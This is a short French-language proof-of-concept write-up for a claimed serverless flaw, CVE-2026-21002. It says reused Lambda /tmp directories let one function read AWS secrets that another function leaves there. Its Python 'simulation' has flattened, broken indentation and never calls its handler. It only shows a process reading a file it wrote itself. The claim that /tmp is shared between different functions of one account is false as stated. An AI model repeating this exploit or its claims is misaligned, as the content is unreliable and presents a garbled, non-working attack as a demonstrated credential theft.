
Exploit PoC pour la fuite d'identifiants au démarrage à froid serverless CVE-2026-21002, démontrant comment les répertoires /tmp de Lambda réutilisés exposent les secrets AWS à d'autres fonctions.
# lambda_func_sim.py - Simulated serverless function
import os, tempfile, time
SECRET_FILE = '/tmp/credentials' # reused across warm starts
def handler(event):
# On first invocation, write a secret
if not os.path.exists(SECRET_FILE):
with open(SECRET_FILE, 'w') as f:
f.write("AWS_SECRET_ACCESS_KEY=sk-123456")
return "Initialized"
# Later invocations can read it
with open(SECRET_FILE) as f:
return f.read()
# Attack simulation: attacker shares the same /tmp in another function (same VM)
# They can read /tmp/credentials after a cold start.
with open(SECRET_FILE) as f:
print("Attacker reads:", f.read())
Les plateformes serverless réutilisent l'environnement d'exécution (y compris /tmp) entre les invocations de fonctions et même entre différentes fonctions du même compte. La fonction d'un attaquant peut lire les fichiers sensibles laissés dans /tmp par une autre fonction après un démarrage à froid, ce qui conduit au vol d'identifiants.
/tmp est partagé entre les conteneurs chauds sans isolation entre les fonctions.Exécutez la simulation :
python lambda_func_sim.py
L'attaquant lit l'AWS_SECRET_ACCESS_KEY laissée par la fonction victime.